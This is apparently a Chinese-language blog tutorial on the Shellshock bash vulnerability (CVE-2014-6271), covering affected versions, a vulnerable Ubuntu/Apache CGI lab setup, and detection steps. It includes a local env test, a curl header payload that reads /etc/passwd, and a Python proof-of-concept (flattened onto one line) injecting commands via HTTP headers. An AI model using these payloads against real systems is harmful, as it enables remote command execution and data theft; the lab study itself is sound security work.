bash破壳漏洞分析(一)
1. 简介
bash远程代码执行漏洞,该漏洞会影响目前主流的Linux和Mac OSX操作系统平台,包括但不限于Redhat,CentOS,Ubuntu,Debian,Fedora,Amaron Linux,OSX10.10等平台。该漏洞可以通过构造环境变量的值来执行想要执行的攻击代码脚本,会影响到与bash交互的多种应用,包括HTTP,OpenSSH,DHCP等。
针对本次漏洞的检测,需要下载含有bash漏洞版本的ubuntu虚拟机,通过Apache服务开启cgi功能进行远程代码执行操作。
1.1 影响版本
Bash版本小于等于4.3版本。
主要操作系统版本有:
- Red Hat Enterprise Linux 4 (ELS)
- Red Hat Enterprise Linux 4 Extended Lifecycle Support - bash-3.0-27.el4.2
- Red Hat Enterprise Linux 5 - bash-3.2-33.el5.1
- Red Hat Enterprise Linux 5.6 Long Life - bash-3.2-24.el5_6.1
- Red Hat Enterprise Linux 5.9 Extended Update Support - bash-3.2-32.el5_9.2
- Red Hat Enterprise Linux 6 - bash-4.1.2-15.el6_5.1
- Red Hat Enterprise Linux 6.2 Advanced Update Support - bash-4.1.2-9.el6_2.1
- Red Hat Enterprise Linux 6.4 Extended Update Support - bash-4.1.2-15.el6_4.1
- Red Hat Enterprise Linux 7 - bash-4.2.45-5.el7_0.2
- CentOS 5 bash-3.2-33.el5.1
- CentOS 6 bash-4.1.2-15.el6_5.1
- CentOS 7 bash-4.2.45-5.el7_0.2
- Ubuntu:
10.04
bash 4.1-2ubuntu3.1
12.04
bash 4.2-2ubuntu2.2
14.04
bash 4.3-7ubuntu1.1 - Fedora:
19
bash-4.2.47-2.fc19
20
bash-4.2.47-4.fc20
21
bash-4.3.22-3.fc21 - Debian:
4.1-3
4.1-3+deb6u1
4.2+dfsg-0.1
4.2+dfsg-0.1+deb7u1
4.3-9
4.3-9.1 - Amazon Linux AMI
bash-4.1.2-15.19 - Mac OS X
10.10
2. 服务器环境搭建
2.1 安装Ubuntu系统
在官网中下载Ubuntu12.02系统,在VMware中点击创建虚拟机然后导入下载的Ubuntu的iso路径进行安装,安装完成后输入命令bash -version
进行查看bash版本,如图所示为version 4.2.24含有bash破壳漏洞。
2.2 安装Apache服务器
1.安装完成Ubuntu虚拟机后通过命令Ctrl+Alt+T
打开Terminal窗口输入命令sudo apt-get install apache2
进行Apache服务器安装,安装完成后在浏览器中输入网址localhost查看是否为Apache it works的展示页面。
2.安装完成后可能输入命令sudo service apache2 restart
会出现重启Apache服务时有报错,其主要原因是apache2.conf文件中ServerName IP:Port和Listen IP:Port不一致,即端口不一致。所以在apache2.conf文件中增加ServerName localhost:80
即可。
2.3 配置cgi
1.首先在根目录下建一个cgi-bin的目录即路径在:/var/www/html/cgi-bin/
所有的cgi程序都放在这个cgi-bin的目录下。
2.打开/etc/apache2/sites-enabled/000-default
文件。把文件配置修改为下图所示:即配置cgi的路径,其中的/usr/lib/cgi-bin/
修改为/var/www/html/cgi-bin/
,并添加了AddHandler cgi-script cgi。如果Options没有ExecCGI这项,记得一定要加上。如图所示:
3.修改/etc/apache2/mods-enable/cgid.load
文件,在mod_cgid.so后面加上AddHandler cgi-script .cgi .pl .py .sh
这句,然后重启Apache服务器sudo service apache2 restart
如图所示:
4.修改cgi程序权限。cgi程序属性一定要设为可运行(755),而与cgi有关的HTML文件的目录如果要被cgi程序写入,其权限一定要设为可写(666)。命令为sudo chmod 755 test.cgi
2.4 编写服务端测试文件
输入命令进入cgi-bin目录cd /var/www/html/cgi-bin
,修改test.cgi文件sudo gedit test.cgi
添加代码:
#!/bin/bash
echo "Content-type: text/html"
echo ""
具体代码如图所示:
3. 检测方法
3.1 本地验证方法
在shell中执行命令:
env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"
执行命令后,如果显示 Vulnerable CVE-2014-6271,证明系统存在漏洞,可改变echo Vulnerable CVE-2014-6271为任意命令进行执行。执行结果如图:
3.2 远程代码执行验证
在另一台虚拟机命令行中输入命令:
curl -H 'x: () { :;};a=
/bin/cat /etc/passwd;echo $a’ ‘http://192.168.197.137/cgi-bin/test.cgi’ -I;
执行结果如图:
3.3 通过自己python文件以及网上的POC文件验证
网上以及自己写的python POC文件的主要思想就是构造一个含有攻击的request请求头,然后向含有漏洞的靶场地址发送该请求,根据构造的不同的恶意代码执行情况去判断攻击是否成功,从而判断该系统是否存在bash远程代码执行漏洞。具体代码为如下
#coding=utf-8import urllib, urllib2import cookielib, socketimport cgi, re, osdef get_request(url):socket.setdefaulttimeout(5)i_headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36","CustomHeader": "() { test;};echo; echo shellshock one;","CustomHeaderNew": "() { _;} >shellshockme[$($())] { whoami;}",}try:req = urllib2.Request(url, headers=i_headers)response = urllib2.urlopen(req)print response.info()html = response.read()print htmlexcept:print "Error on request"if __name__ == '__main__':url = "http://192.168.197.137/cgi-bin/test.cgi"get_request(url)
bash破壳漏洞分析(一)相关推荐
- bash破壳漏洞分析(二)
1. Bash简介 1.1 定义 Bash(GNU Bourne-Again Shell)是许多Linux发行版的默认Shell. 1.2 概述 目前的Bash使用的环境变量是通过函数名称 ...
- 修复linux bash破壳漏洞,Linux系统下如何检测并修复bash中的破壳漏洞
问题:我想要知道我的Linux服务器是否存在bash破壳漏洞,以及如何来保护我的Linux服务器不受破壳漏洞侵袭. 2014年9月24日,一位名叫斯特凡·沙泽拉的安全研究者发现了一个名为"破 ...
- 修复linux bash破壳漏洞,Linux下bash破壳漏洞检测及修复的方法
如果Linux服务器存在bash破壳漏洞,将可能导致远程攻击者操作系统来执行任意命令,威胁等级较高,我想要知道我的Linux服务器是否存在bash破壳漏洞,以及如何来保护我的Linux服务器不受破壳漏 ...
- linux系统漏洞测试过程,Linux下bash破壳漏洞检测方法
如果Linux服务器存在bash破壳漏洞,将可能导致远程攻击者操作系统来执行任意命令,威胁等级较高,那么我们要怎么知道Linux系统是否存在该漏洞,又该如何修复呢?下面随学习啦小编一起来了解下吧. 问 ...
- linux 破壳漏洞,Bash破壳漏洞
"破壳"是一个严重漏洞的别名,在Red Hat.CentOS.Ubuntu.Fedora.Amazon Linux.OS X 10.10中均拥有存在CVE-2014-6271(即& ...
- Bash 破壳漏洞Shellshock (CVE-2014-6271)复现
漏洞简介 GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行Shell命令. ...
- linux 鬼精灵漏洞,鬼精灵Grinch:比Bash破壳(shellshock)更严重的Linux漏洞
安全研究人员在Linux操作系统中发现了一个名为鬼精灵(Grinch)的漏洞,该漏洞存在于linux系统中,和Bash破壳(shellshock)漏洞一样可以在受害者机器上获得最高权限--Root. ...
- ShellShock(破壳漏洞)的简单分析
(如果有帮助,请点个赞:如果有错误,请指出:如果转载,请注明出处) 关于本文更详细的内容,欢迎关注我的个人网站<程序员网> ->https://www.itmangoto.cn/ ...
- 墨者靶场 初级:Bash漏洞分析溯源
墨者靶场 初级:Bash漏洞分析溯源 题目 背景介绍 实训目标 解题方向 解题步骤 题目 背景介绍 安全工程师"墨者"对一单位业务系统进行授权测试,在测试过程中,发现存在bash命 ...
最新文章
- 看过来,包邮送AirPods Pro!
- PowerBI从SCCM数据库中分析数据和KPI展现
- 一步一步SharePoint 2007之十四:实现Form认证(4)——创建管理帐户
- ADB连接小米手机模拟上下左右滑动实例演示
- vue 渲染函数处理slot_面试官:Vue 和 React 对于组件的更新粒度有什么区别?
- 阿里云centos服务器rdp远程桌面规则_阿里云服务器使用教程 新手用户的好帮手...
- 基于事件驱动架构构建微服务第2部分:领域对象和业务规则
- WordPress中输出当前页面SQL语句的方法
- python argument list too long_[已解决]Argument list too long如何处理?
- 封头名义厚度如何圆整_松原封头价格
- Dubbo(十五)springboot工程dubbo整合SpringCloud Hystrix
- At the beginning of the month, the doctor introduced in the article “iOS
- 量子计算是否会终结区块链?
- [搜片神器]使用C#实现DHT磁力搜索的BT种子后端管理程序+数据库设计(开源)
- 计算机管理的事件id,事件ID6009,6006检测电脑开关机时间
- 多边形的扫描转换算法 c语言,C++程序例题:多边形扫描转换算法
- 首届“十大最具价值”智能交互(语音)创业项目遴选榜单丨Xtecher权威发布
- PDF电子书制作书签目录全过程
- Tsinsen1295 necklace
- 华硕服务器设置固态盘启动不了系统盘,华硕uefi引导启动不了系统安装系统安装...
热门文章
- 测试老江湖告诉你,测试猿如何优雅的甩锅?
- 毕设论文评审意见分类
- 华为8xmax升级鸿蒙系统,华为新系统发布在即,35款机型率先体验,看看你的手机在其中吗...
- Cocos2d-x常见面试题
- 【LeViT: a Vision Transformer in ConvNet’s Clothing for Faster Inference论文解读】
- 石器时代服务器端支持WIN10,经典石器时代v9.0端(XP.WIN7)架设成功+客户端+架设录像...
- ADAS视觉方案盘点上篇:摄像头、芯片和算法
- Java程序员秋招面经大合集(BAT美团网易小米华为中兴等)
- docker containers status显示Removal In Progress
- 载阿霉素细胞膜纳米囊泡|细胞外囊泡递载circDYM|细胞膜仿生聚合物囊泡